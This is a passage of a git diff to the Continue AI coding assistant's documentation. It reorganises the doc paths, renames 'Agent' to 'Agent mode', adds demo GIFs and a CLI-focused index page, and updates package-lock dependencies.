editor](/features/chat/quick-start#how-to-include-code-context). +Agent mode lives within the same interface as [Chat](/ide-extensions/chat/how-it-works) mode, so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context). -#### How to Use Natural Language with Agent +#### How to Use Natural Language with Agent mode -With Agent, you can provide natural language instruction and let the model do the work. As an example, you might say +With Agent mode, you can provide natural language instruction and let the model do the work. As an example, you might say > Set the @typescript-eslint/naming-convention rule to "off" for all eslint configurations in this project -Agent will then decide which tools to use to get the job done. +Agent mode will then decide which tools to use to get the job done. -## How to Give Agent Permission +## How to Give Agent Mode Permission -By default, Agent will ask permission when it wants to use a tool. Click `Continue` to allow Agent mode to proceed with the tool call or `Cancel` to reject it. +By default, Agent mode will ask permission when it wants to use a tool. Click `Continue` to allow Agent mode to proceed with the tool call or `Cancel` to reject it. -![agent requesting permission](/images/features/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png) +![agent requesting permission](/images/ide-extensions/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png) You can use tool policies to exclude or make usage automatic for specific tools. See [MCP Tools](/customization/mcp-tools) for more background. @@ -81,4 +81,4 @@ You can use tool policies to exclude or make usage automatic for specific tools. Any data returned from a tool call is automatically fed back into the model as a context item. Most errors are also caught and returned, so that Agent mode can decide how to proceed. -![agent response](/images/features/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png) +![agent response](/images/ide-extensions/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png) diff --git a/docs/features/autocomplete/context-selection.mdx b/docs/ide-extensions/autocomplete/context-selection.mdx similarity index 100% rename from docs/features/autocomplete/context-selection.mdx rename to docs/ide-extensions/autocomplete/context-selection.mdx diff --git a/docs/features/autocomplete/how-it-works.mdx b/docs/ide-extensions/autocomplete/how-it-works.mdx similarity index 95% rename from docs/features/autocomplete/how-it-works.mdx rename to docs/ide-extensions/autocomplete/how-it-works.mdx index 960cf6778..f59331116 100644 --- a/docs/features/autocomplete/how-it-works.mdx +++ b/docs/ide-extensions/autocomplete/how-it-works.mdx @@ -28,7 +28,7 @@ You can learn more about how it works in the [Autocomplete deep dive](/customiza **Looking for AI that predicts your next changes or additions?** Check out - [Next Edit](/features/autocomplete/next-edit), an experimental feature that + [Next Edit](/ide-extensions/autocomplete/next-edit), an experimental feature that proactively suggests code changes before you even start typing, going beyond traditional autocomplete to anticipate entire code modifications. diff --git a/docs/features/autocomplete/how-to-customize.mdx b/docs/ide-extensions/autocomplete/how-to-customize.mdx similarity index 100% rename from docs/features/autocomplete/how-to-customize.mdx rename to docs/ide-extensions/autocomplete/how-to-customize.mdx diff --git a/docs/features/autocomplete/model-setup.mdx b/docs/ide-extensions/autocomplete/model-setup.mdx similarity index 93% rename from docs/features/autocomplete/model-setup.mdx rename to docs/ide-extensions/autocomplete/model-setup.mdx index e5585ca4d..019a3b69f 100644 --- a/docs/features/autocomplete/model-setup.mdx +++ b/docs/ide-extensions/autocomplete/model-setup.mdx @@ -17,7 +17,7 @@ Setting up the right model for autocomplete is important for a smooth coding exp ## Next Edit Model -For proactive code prediction that anticipates your next edit, Continue supports specialized [Next Edit](/features/autocomplete/next-edit) models: +For proactive code prediction that anticipates your next edit, Continue supports specialized [Next Edit](/ide-extensions/autocomplete/next-edit) models: **Supported Next Edit model:** diff --git a/docs/features/autocomplete/next-edit.mdx b/docs/ide-extensions/autocomplete/next-edit.mdx similarity index 96% rename from docs/features/autocomplete/next-edit.mdx rename to docs/ide-extensions/autocomplete/next-edit.mdx index 9deb0c3af..71760f4ba 100644 --- a/docs/features/autocomplete/next-edit.mdx +++ b/docs/ide-extensions/autocomplete/next-edit.mdx @@ -6,7 +6,7 @@ description: "Learn how Continue's Next Edit feature predicts and suggests your Next Edit is currently an experimental feature. It requires [Instinct](https://hub.continue.dev/continuedev/instinct) or [Mercury Coder - model](https://hub.continue.dev/inceptionlabs/mercury-coder) configured in + model](https://hub.continue.dev/inception/mercury-coder) configured in your Continue autocomplete settings and is not yet available for JetBrains use. @@ -73,7 +73,6 @@ Next Edit activates automatically when: Next Edit requires: - Compatible AI models (Mercury Coder or Instinct) -- Continue development team access - VS Code (JetBrains support coming soon) - **API Keys**: Organizations can add API keys to [org secrets](/hub/secrets/secret-types) for team-wide access. Individual users need to provide their own API keys in their [model configuration](/customize/model-providers/overview) @@ -83,7 +82,7 @@ Next Edit requires: designed for next edit predictions. Once it's been loaded, you must reload VS Code to activate it. Next Edit Model Setup diff --git a/docs/features/autocomplete/quick-start.mdx b/docs/ide-extensions/autocomplete/quick-start.mdx similarity index 100% rename from docs/features/autocomplete/quick-start.mdx rename to docs/ide-extensions/autocomplete/quick-start.mdx diff --git a/docs/features/chat/context-selection.mdx b/docs/ide-extensions/chat/context-selection.mdx similarity index 84% rename from docs/features/chat/context-selection.mdx rename to docs/ide-extensions/chat/context-selection.mdx index 4c5dc9cc8..c76b43b9c 100644 --- a/docs/features/chat/context-selection.mdx +++ b/docs/ide-extensions/chat/context-selection.mdx @@ -22,11 +22,11 @@ You can include a specific file in your current workspace by typing '@Files' and ## Codebase Search -For better codebase awareness, see our [guide on making agents aware of codebases and documentation](/guides/codebase-documentation-awareness). +For better codebase awareness, see our [guide on making agent mode aware of codebases and documentation](/guides/codebase-documentation-awareness). ## How to Include Documentation Sites -For better documentation awareness, see our [guide on making agents aware of codebases and documentation](/guides/codebase-documentation-awareness). +For better documentation awareness, see our [guide on making agent mode aware of codebases and documentation](/guides/codebase-documentation-awareness). ## How to Include Terminal Contents diff --git a/docs/features/chat/how-it-works.mdx b/docs/ide-extensions/chat/how-it-works.mdx similarity index 96% rename from docs/features/chat/how-it-works.mdx rename to docs/ide-extensions/chat/how-it-works.mdx index 381b49b7c..252ce2898 100644 --- a/docs/features/chat/how-it-works.mdx +++ b/docs/ide-extensions/chat/how-it-works.mdx @@ -48,7 +48,7 @@ View the exact prompt sent to the AI model in the [prompt logs](/troubleshooting Learn more about how you can bring in context: -- [Codebase Context](/customize/context/codebase) +- [Codebase Context](/guides/codebase-documentation-awareness) - [Documentation Context](/guides/codebase-documentation-awareness) - [Built-in Context Providers](/customize/deep-dives/custom-providers) diff --git a/docs/features/chat/how-to-customize.mdx b/docs/ide-extensions/chat/how-to-customize.mdx similarity index 100% rename from docs/features/chat/how-to-customize.mdx rename to docs/ide-extensions/chat/how-to-customize.mdx diff --git a/docs/features/chat/model-setup.mdx b/docs/ide-extensions/chat/model-setup.mdx similarity index 100% rename from docs/features/chat/model-setup.mdx rename to docs/ide-extensions/chat/model-setup.mdx diff --git a/docs/features/chat/quick-start.mdx b/docs/ide-extensions/chat/quick-start.mdx similarity index 100% rename from docs/features/chat/quick-start.mdx rename to docs/ide-extensions/chat/quick-start.mdx diff --git a/docs/features/edit/context-selection.mdx b/docs/ide-extensions/edit/context-selection.mdx similarity index 100% rename from docs/features/edit/context-selection.mdx rename to docs/ide-extensions/edit/context-selection.mdx diff --git a/docs/features/edit/how-it-works.mdx b/docs/ide-extensions/edit/how-it-works.mdx similarity index 83% rename from docs/features/edit/how-it-works.mdx rename to docs/ide-extensions/edit/how-it-works.mdx index 50b3ab343..fe8cea592 100644 --- a/docs/features/edit/how-it-works.mdx +++ b/docs/ide-extensions/edit/how-it-works.mdx @@ -14,7 +14,7 @@ When you start an edit session, Continue: If you accept the diff, we remove the previously highlighted lines, and if you reject the diff, we remove the proposed changes. -**Looking for AI that predicts your next edit?** Check out [Next Edit](/features/autocomplete/next-edit), an experimental feature that proactively suggests code changes before you even start typing, going beyond traditional autocomplete to anticipate entire code modifications. +**Looking for AI that predicts your next edit?** Check out [Next Edit](/ide-extensions/autocomplete/next-edit), an experimental feature that proactively suggests code changes before you even start typing, going beyond traditional autocomplete to anticipate entire code modifications. If you would like to view the exact prompt that is sent to the model during an edit, you can [find it in the prompt logs](/troubleshooting#check-the-logs). diff --git a/docs/features/edit/how-to-customize.mdx b/docs/ide-extensions/edit/how-to-customize.mdx similarity index 85% rename from docs/features/edit/how-to-customize.mdx rename to docs/ide-extensions/edit/how-to-customize.mdx index f6925e764..a9a7752a5 100644 --- a/docs/features/edit/how-to-customize.mdx +++ b/docs/ide-extensions/edit/how-to-customize.mdx @@ -6,7 +6,7 @@ sidebarTitle: "Customize Edit" ## How to Set Active Edit/Apply Model -You can configure particular models from your Agent to be used for Edit and Apply requests. +You can configure particular models to be used for Edit and Apply requests. 1. Click the 3 dots above the main input 2. Click the cube icon to expand the "Models" section diff --git a/docs/features/edit/model-setup.mdx b/docs/ide-extensions/edit/model-setup.mdx similarity index 100% rename from docs/features/edit/model-setup.mdx rename to docs/ide-extensions/edit/model-setup.mdx diff --git a/docs/features/edit/quick-start.mdx b/docs/ide-extensions/edit/quick-start.mdx similarity index 97% rename from docs/features/edit/quick-start.mdx rename to docs/ide-extensions/edit/quick-start.mdx index 365009c46..45fa7f8f0 100644 --- a/docs/features/edit/quick-start.mdx +++ b/docs/ide-extensions/edit/quick-start.mdx @@ -22,7 +22,7 @@ Once you've activated Edit, you're ready to provide instructions. ### How to Provide Instructions -Describe the changes you would like the model to make to your highlighted code. For edits, a good prompt should be relatively short and concise. For longer, more complex tasks, we recommend using [Chat](/features/chat/quick-start). +Describe the changes you would like the model to make to your highlighted code. For edits, a good prompt should be relatively short and concise. For longer, more complex tasks, we recommend using [Chat](/ide-extensions/chat/quick-start). ### How to Accept or Reject Changes diff --git a/docs/getting-started/install.mdx b/docs/ide-extensions/install.mdx similarity index 74% rename from docs/getting-started/install.mdx rename to docs/ide-extensions/install.mdx index 739f88394..ea413a8ba 100644 --- a/docs/getting-started/install.mdx +++ b/docs/ide-extensions/install.mdx @@ -3,6 +3,16 @@ title: "Install" description: "Get Continue installed in your favorite IDE in just a few steps." --- + + @@ -24,7 +34,7 @@ The Continue logo will appear on the left sidebar. For a better experience, move -[Sign in to the hub](https://auth.continue.dev/) to get started with your first agent +[Sign in to the hub](https://auth.continue.dev/) to get started @@ -54,7 +64,7 @@ Click `Install`, which will cause the Continue logo to show up on the right tool -[Sign in to the hub](https://auth.continue.dev/) to get started with your first agent +[Sign in to the hub](https://auth.continue.dev/) to get started @@ -68,6 +78,6 @@ Click `Install`, which will cause the Continue logo to show up on the right tool ## Signing in -Click "Get started" to sign in to the hub and start using agents. +Click "Get started" to sign in to the hub and get started. -![Hub Onboarding in the Extension](/images/getting-started/images/hub-onboarding-card-81abd457b6d131c4b0aa89a5a6d647d3.png) +![Hub Onboarding in the Extension](../images/getting-started/images/hub-onboarding-card-81abd457b6d131c4b0aa89a5a6d647d3.png) diff --git a/docs/features/plan/how-it-works.mdx b/docs/ide-extensions/plan/how-it-works.mdx similarity index 100% rename from docs/features/plan/how-it-works.mdx rename to docs/ide-extensions/plan/how-it-works.mdx diff --git a/docs/features/plan/quick-start.mdx b/docs/ide-extensions/plan/quick-start.mdx similarity index 78% rename from docs/features/plan/quick-start.mdx rename to docs/ide-extensions/plan/quick-start.mdx index 05961273c..864a33cc9 100644 --- a/docs/features/plan/quick-start.mdx +++ b/docs/ide-extensions/plan/quick-start.mdx @@ -15,13 +15,13 @@ You can switch to `Plan` in the mode selector below the chat input box. If Plan is disabled with a `Not Supported` message, the selected model or - provider doesn't support tools. See [Model Setup](/features/agent/model-setup) + provider doesn't support tools. See [Model Setup](/ide-extensions/agent/model-setup) for more information. ### Chat with Plan -Plan mode lives within the same interface as [Chat](/features/chat/how-it-works) and [Agent](/features/agent/how-it-works), so the same [input](/features/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/features/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/features/chat/quick-start#how-to-include-code-context). +Plan mode lives within the same interface as [Chat mode](/ide-extensions/chat/how-it-works) and [Agent mode](/ide-extensions/agent/how-it-works), so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context). #### What makes Plan different diff --git a/docs/getting-started/quick-start.mdx b/docs/ide-extensions/quick-start.mdx similarity index 71% rename from docs/getting-started/quick-start.mdx rename to docs/ide-extensions/quick-start.mdx index c27627465..a339bc76a 100644 --- a/docs/getting-started/quick-start.mdx +++ b/docs/ide-extensions/quick-start.mdx @@ -1,6 +1,6 @@ --- title: "Quick Start Tutorial" -description: "Learn Continue's core features through hands-on exercises. Get started with Autocomplete, Edit, Chat, and Agent in minutes." +description: "Learn Continue's core features through hands-on exercises. Get started with Autocomplete, Edit, Chat, and Agent mode in minutes." sidebarTitle: "Quick Start" --- @@ -8,7 +8,7 @@ Welcome to Continue! This interactive tutorial will guide you through all four c **Prerequisites**: Make sure you have [installed - Continue](/getting-started/install) and [signed + Continue](/ide-extensions/install) and [signed in](https://auth.continue.dev/) to get started. @@ -49,6 +49,8 @@ Continue will intelligently suggest function implementations based on the contex --- +![autocomplete-demo](../images/autocomplete-quick-start.gif) + ## ✏️ Edit **What it does**: Make quick, targeted changes to specific code sections using natural language instructions. @@ -96,9 +98,9 @@ Continue will show you a diff of the proposed changes. Accept or reject individu converting between languages/frameworks. ---- +![edit-demo](../images/edit-quick-start.gif) -## 💬 Chat +## 💬 Chat Mode **What it does**: Interactive AI assistant that can analyze code, answer questions, and provide guidance without leaving your IDE. @@ -136,7 +138,7 @@ Try these follow-up questions: -### Chat Keyboard Shortcuts +### Chat Mode Keyboard Shortcuts @@ -164,9 +166,12 @@ Focus Current Chat / Add Selected Code To Current Chat / Close Continue Sidebar brainstorming solutions to complex problems. +![chat-demo](../images/chat-quick-start.gif) + + --- -## 🤖 Agent +## 🤖 Agent Mode **What it does**: An autonomous coding assistant that can read files, make changes, run commands, and handle complex multi-step tasks. @@ -177,14 +182,14 @@ Focus Current Chat / Add Selected Code To Current Chat / Close Continue Sidebar 3. Select **"Agent"** mode - + Try this prompt: ``` "Write comprehensive unit tests for the sorting functions in this file. Create the tests in a new file using Jest, and make sure to test edge cases like empty arrays and single elements." ``` - -Agent will: + +Agent mode will: - ✅ Analyze your existing code - ✅ Create a new test file - ✅ Write comprehensive tests @@ -194,11 +199,67 @@ Agent will: - Agent has powerful capabilities including file creation and modification. - Always review Agent's changes before accepting them. + Agent mode has powerful capabilities including file creation and modification. + Always review Agent mode's changes before accepting them. +![agent-demo](../images/agent-quick-start.gif) + --- +## Explore More Extension Examples + +Ready to explore more? Continue offers five powerful features to enhance your coding workflow: + + +[Agent Mode](/ide-extensions/agent/quick-start) equips the Chat model with the tools needed to handle a wide range of coding tasks + +![agent mode](/images/agent-9ef792cfc196a3b5faa984fb072c4400.gif) + + + Learn more about [Agent Mode](/ide-extensions/agent/quick-start) + + + + +[Chat](/ide-extensions/chat/quick-start) makes it easy to ask for help from an LLM without needing to leave the IDE + +![chat](/images/chat-489b68d156be2aafe09ee7cedf233fba.gif) + + + Learn more about [Chat Mode](/ide-extensions/chat/quick-start) + + + + +[Plan](/ide-extensions/agent/plan-mode) provides a safe environment with read-only tools for exploring code and planning changes + +![plan](/images/plan-mode.gif) + + + Learn more about [Plan Mode](/ide-extensions/agent/plan-mode) + + + + +[Edit](/ide-extensions/edit/quick-start) is a convenient way to modify code without leaving your current file + +![edit](/images/edit.gif) + + + Learn more about [Edit](/ide-extensions/edit/quick-start) + + + + +[Autocomplete](/ide-extensions/autocomplete/quick-start) provides inline code suggestions as you type + +![autocomplete](/images/autocomplete-9d4e3f7658d3e65b8e8b20f2de939675.gif) + + + Learn more about [Autocomplete](/ide-extensions/autocomplete/quick-start) + + + ## 🚀 Next Steps @@ -211,9 +272,9 @@ Congratulations! You've experienced all four core Continue features. Here's what - Dive deeper into Agent capabilities and advanced use cases + Dive deeper into Agent mode capabilities and advanced use cases - + Discover [effective prompting techniques](/customize/deep-dives/prompts), [hub - v. local agents](/guides/understanding-agents), and [custom slash - commands](/customize/deep-dives/slash-commands). + v. local configuration](/guides/understanding-configs), and [custom slash + commands](/customize/deep-dives/prompts). - Explore [Hub Agents](/hub/agents/intro), [organization + Explore [Hub configurations](/hub/configs/intro), [organization management](/hub/governance/creating-an-org), and [sharing configurations](/hub/sharing). diff --git a/docs/images/agent-quick-start.gif b/docs/images/agent-quick-start.gif new file mode 100644 index 000000000..c4e4a6e94 Binary files /dev/null and b/docs/images/agent-quick-start.gif differ diff --git a/docs/images/assistant-selector-dropdown.png b/docs/images/assistant-selector-dropdown.png new file mode 100644 index 000000000..9b4b69f3e Binary files /dev/null and b/docs/images/assistant-selector-dropdown.png differ diff --git a/docs/images/autocomplete-model-selection.png b/docs/images/autocomplete-model-selection.png new file mode 100644 index 000000000..530b30a63 Binary files /dev/null and b/docs/images/autocomplete-model-selection.png differ diff --git a/docs/images/autocomplete-quick-start.gif b/docs/images/autocomplete-quick-start.gif new file mode 100644 index 000000000..84ccf3931 Binary files /dev/null and b/docs/images/autocomplete-quick-start.gif differ diff --git a/docs/images/autocomplete-settings.png b/docs/images/autocomplete-settings.png new file mode 100644 index 000000000..fa3fe2fd6 Binary files /dev/null and b/docs/images/autocomplete-settings.png differ diff --git a/docs/images/background-agent.gif b/docs/images/background-agent.gif new file mode 100644 index 000000000..b45757fa3 Binary files /dev/null and b/docs/images/background-agent.gif differ diff --git a/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png b/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png deleted file mode 100644 index 456db04a9..000000000 Binary files a/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png and /dev/null differ diff --git a/docs/images/chat-quick-start.gif b/docs/images/chat-quick-start.gif new file mode 100644 index 000000000..46fd322ba Binary files /dev/null and b/docs/images/chat-quick-start.gif differ diff --git a/docs/images/cli-agent.gif b/docs/images/cli-agent.gif new file mode 100644 index 000000000..35d49a17b Binary files /dev/null and b/docs/images/cli-agent.gif differ diff --git a/docs/images/cn-demo.gif b/docs/images/cn-demo.gif index 795be614d..4b37b3f77 100644 Binary files a/docs/images/cn-demo.gif and b/docs/images/cn-demo.gif differ diff --git a/docs/images/continue-settings-card-layout.png b/docs/images/continue-settings-card-layout.png new file mode 100644 index 000000000..4fc8c6d8b Binary files /dev/null and b/docs/images/continue-settings-card-layout.png differ diff --git a/docs/images/edit-quick-start.gif b/docs/images/edit-quick-start.gif new file mode 100644 index 000000000..b4f9d8700 Binary files /dev/null and b/docs/images/edit-quick-start.gif differ diff --git a/docs/images/hub/agent-remix-button.png b/docs/images/hub/agent-remix-button.png new file mode 100644 index 000000000..8410177f6 Binary files /dev/null and b/docs/images/hub/agent-remix-button.png differ diff --git a/docs/images/hub/assets/images/agent-mission-control.gif b/docs/images/hub/assets/images/agent-mission-control.gif new file mode 100644 index 000000000..5fe52efb0 Binary files /dev/null and b/docs/images/hub/assets/images/agent-mission-control.gif differ diff --git a/docs/images/hub/assets/images/hub-overview.jpg b/docs/images/hub/assets/images/hub-overview.jpg new file mode 100644 index 000000000..adbf435c1 Binary files /dev/null and b/docs/images/hub/assets/images/hub-overview.jpg differ diff --git a/docs/images/hub/assistant-new-button.png b/docs/images/hub/assistant-new-button.png deleted file mode 100644 index d6088a061..000000000 Binary files a/docs/images/hub/assistant-new-button.png and /dev/null differ diff --git a/docs/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png b/docs/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png deleted file mode 100644 index d6088a061..000000000 Binary files a/docs/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png and /dev/null differ diff --git a/docs/images/hub/assistants/images/assistant-new-button.png b/docs/images/hub/assistants/images/assistant-new-button.png deleted file mode 100644 index d6088a061..000000000 Binary files a/docs/images/hub/assistants/images/assistant-new-button.png and /dev/null differ diff --git a/docs/images/hub/assistants/images/assistant-remix-button.png b/docs/images/hub/assistants/images/assistant-remix-button.png deleted file mode 100644 index 02c9d34ef..000000000 Binary files a/docs/images/hub/assistants/images/assistant-remix-button.png and /dev/null differ diff --git a/docs/images/hub/block-new-button.png b/docs/images/hub/block-new-button.png deleted file mode 100644 index 456db04a9..000000000 Binary files a/docs/images/hub/block-new-button.png and /dev/null differ diff --git a/docs/images/hub/block-new-page.png b/docs/images/hub/block-new-page.png deleted file mode 100644 index 9addc9238..000000000 Binary files a/docs/images/hub/block-new-page.png and /dev/null differ diff --git a/docs/images/hub/bundle-new-button.png b/docs/images/hub/bundle-new-button.png deleted file mode 100644 index 60ccc23d6..000000000 Binary files a/docs/images/hub/bundle-new-button.png and /dev/null differ diff --git a/docs/images/hub/create-an-agent.gif b/docs/images/hub/create-an-agent.gif new file mode 100644 index 000000000..6914cd7a5 Binary files /dev/null and b/docs/images/hub/create-an-agent.gif differ diff --git a/docs/images/hub/hub-nav.png b/docs/images/hub/hub-nav.png new file mode 100644 index 000000000..433446056 Binary files /dev/null and b/docs/images/hub/hub-nav.png differ diff --git a/docs/images/hub/new-agent-button.png b/docs/images/hub/new-agent-button.png new file mode 100644 index 000000000..b4c6525ac Binary files /dev/null and b/docs/images/hub/new-agent-button.png differ diff --git a/docs/images/hub/workflows/images/workflows-setup.png b/docs/images/hub/workflows/images/workflows-setup.png new file mode 100644 index 000000000..05419e84d Binary files /dev/null and b/docs/images/hub/workflows/images/workflows-setup.png differ diff --git a/docs/images/features/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png b/docs/images/ide-extensions/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png similarity index 100% rename from docs/images/features/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png rename to docs/images/ide-extensions/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png diff --git a/docs/images/features/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png b/docs/images/ide-extensions/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png similarity index 100% rename from docs/images/features/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png rename to docs/images/ide-extensions/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png diff --git a/docs/images/features/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png b/docs/images/ide-extensions/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png similarity index 100% rename from docs/images/features/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png rename to docs/images/ide-extensions/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png diff --git a/docs/images/features/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png b/docs/images/ide-extensions/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png similarity index 100% rename from docs/images/features/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png rename to docs/images/ide-extensions/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png diff --git a/docs/images/features/autocomplete/images/instinct-autocomplete.png b/docs/images/ide-extensions/autocomplete/images/instinct-autocomplete.png similarity index 100% rename from docs/images/features/autocomplete/images/instinct-autocomplete.png rename to docs/images/ide-extensions/autocomplete/images/instinct-autocomplete.png diff --git a/docs/images/features/autocomplete/images/mercury-coder-next-edit.png b/docs/images/ide-extensions/autocomplete/images/mercury-coder-next-edit.png similarity index 100% rename from docs/images/features/autocomplete/images/mercury-coder-next-edit.png rename to docs/images/ide-extensions/autocomplete/images/mercury-coder-next-edit.png diff --git a/docs/images/features/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png b/docs/images/ide-extensions/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png similarity index 100% rename from docs/images/features/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png rename to docs/images/ide-extensions/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png diff --git a/docs/images/features/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png b/docs/images/ide-extensions/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png similarity index 100% rename from docs/images/features/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png rename to docs/images/ide-extensions/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png diff --git a/docs/images/indexing-settings.png b/docs/images/indexing-settings.png new file mode 100644 index 000000000..1b4cb9be6 Binary files /dev/null and b/docs/images/indexing-settings.png differ diff --git a/docs/index.mdx b/docs/index.mdx index 4df6c30cc..343eef56e 100644 --- a/docs/index.mdx +++ b/docs/index.mdx @@ -1,55 +1,147 @@ --- -title: "Introduction" +title: "Welcome to Continue" icon: book-open -description: "Continue is an open source platform for building AI-powered coding assistants with customizable components for chat, autocomplete, edit, and agent workflows in VS Code and JetBrains IDEs" +description: "Kick off agents from the terminal, IDE, or Mission Control" --- -**Continue enables developers to ship faster with Continuous AI.** + + **Launch background agents, iterate in terminal, and deploy workflows in CI/CD** + -**You can use Continue to build and run custom agents across your IDE, terminal, and CI.** +## Continue CLI -1. Get started with Continue in [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue) or [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension) extensions +Terminal-native AI coding assistance with TUI and headless modes. -2. Try out [Continue CLI (cn)](https://docs.continue.dev/guides/cli) and give us feedback + -3. Discover models, rules, and MCP tools on [Continue Hub](https://hub.continue.dev/) + ```bash npm + npm install -g @continuedev/cli + ``` + + ```bash yarn + yarn global add @continuedev/cli + ``` + + ```bash pnpm + pnpm add -g @continuedev/cli + ``` + + - to work on development tasks together with AI + Interactive terminal interface for development workflows +
+ • Automate builds & refactoring +
+ • Pre-commit hooks & scripted fixes +
+ • Terminal-first development
- to ask general questions and clarify code sections + Automated AI coding for CI/CD and server environments +
+ • Run in CI/CD pipelines +
+ • Batch processing & bulk operations +
+ • Server & container deployments +
+
+ +## IDE Extensions + + + **Complement your CLI workflow** - Rich editor integrations for interactive + development. + + + + + Install from VS Code Marketplace +
+ Real-time coding assistance and refactoring
- to modify a code section without leaving your current file + Install from JetBrains Plugin Repository +
+ Autocomplete and multi-file edits +
+
+ +## Core Features + + + + Multi-step workflows and complex task automation + + + Ask questions and explore your codebase + + + In-place code editing without breaking flow - to receive inline code suggestions as you type + Inline AI suggestions as you type + + + +## Configuration + + + + Connect your preferred AI models + + + Configure AI behavior and constraints + + + Extend functionality with MCP tools + + + +## Resources + + + + Community models, rules, and tools + + + Get help from the community + + + TUI and headless workflow examples - diff --git a/docs/package-lock.json b/docs/package-lock.json index 9727e1e34..2a8dd6b05 100644 --- a/docs/package-lock.json +++ b/docs/package-lock.json @@ -9,7 +9,7 @@ "version": "1.0.0", "license": "ISC", "dependencies": { - "@c15t/react": "^1.4.4" + "@c15t/react": "^1.6.1" }, "devDependencies": { "mintlify": "^4.2.3" @@ -93,67 +93,207 @@ } }, "node_modules/@c15t/backend": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/@c15t/backend/-/backend-1.4.2.tgz", - "integrity": "sha512-Ki3HXTrGVPW5A0uFCuGyr/jDeFvJxhr9eOCykAuE1yOcXnATUEjqxwa6cH5jRXHz59mf7kLMHdRyjHarXxHqtA==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@c15t/backend/-/backend-1.6.0.tgz", + "integrity": "sha512-A9XeHFUIrJxda53yxgErmmHy9W/tFAJCtn0aMWNTPS2fEMhrAs3H5ICFzXDqeEo/0g4BE8Pg6Y86ocJwPLcXAg==", "license": "GPL-3.0-only", "dependencies": { - "@c15t/translations": "1.4.2", + "@c15t/translations": "1.6.0", "@doubletie/logger": "1.0.4", - "@opentelemetry/api": "1.8.0", - "@opentelemetry/resources": "^1.25.1", - "@opentelemetry/sdk-node": "^0.51.1", - "@opentelemetry/sdk-trace-base": "^1.25.1", - "@orpc/contract": "1.2.0", - "@orpc/openapi": "1.2.0", - "@orpc/server": "1.2.0", - "@orpc/zod": "1.2.0", + "@opentelemetry/api": "1.9.0", + "@opentelemetry/resources": "^2.0.1", + "@opentelemetry/sdk-node": "^0.203.0", + "@opentelemetry/sdk-trace-base": "^2.0.1", + "@orpc/contract": "1.8.1", + "@orpc/openapi": "1.8.1", + "@orpc/otel": "^1.8.1", + "@orpc/server": "1.8.1", + "@orpc/zod": "1.8.1", "base-x": "^5.0.1", "defu": "^6.1.4", "drizzle-orm": "^0.41.0", + "fumadb": "^0.1.1", "kysely": "^0.27.6", "neverthrow": "^8.2.0", "superjson": "^2.2.2", - "zod": "^3.24.2" + "zod": "^4.0.17" } }, - "node_modules/@c15t/node-sdk": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/@c15t/node-sdk/-/node-sdk-1.4.2.tgz", - "integrity": "sha512-APQkUTjp2CJYxLH3Qfu0XcqNpw2ytzCaUjaim5PljMZ8Gv8ecI7LVQgq4H4xn9XddKfVvMIb2MoJIXX8D+a9Lg==", - "dependencies": { - "@c15t/backend": "1.4.2", - "@orpc/client": "1.2.0", - "@orpc/contract": "1.2.0", - "@orpc/openapi-client": "^1.2.0", - "@orpc/server": "1.2.0" + "node_modules/@c15t/backend/node_modules/drizzle-orm": { + "version": "0.41.0", + "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.41.0.tgz", + "integrity": 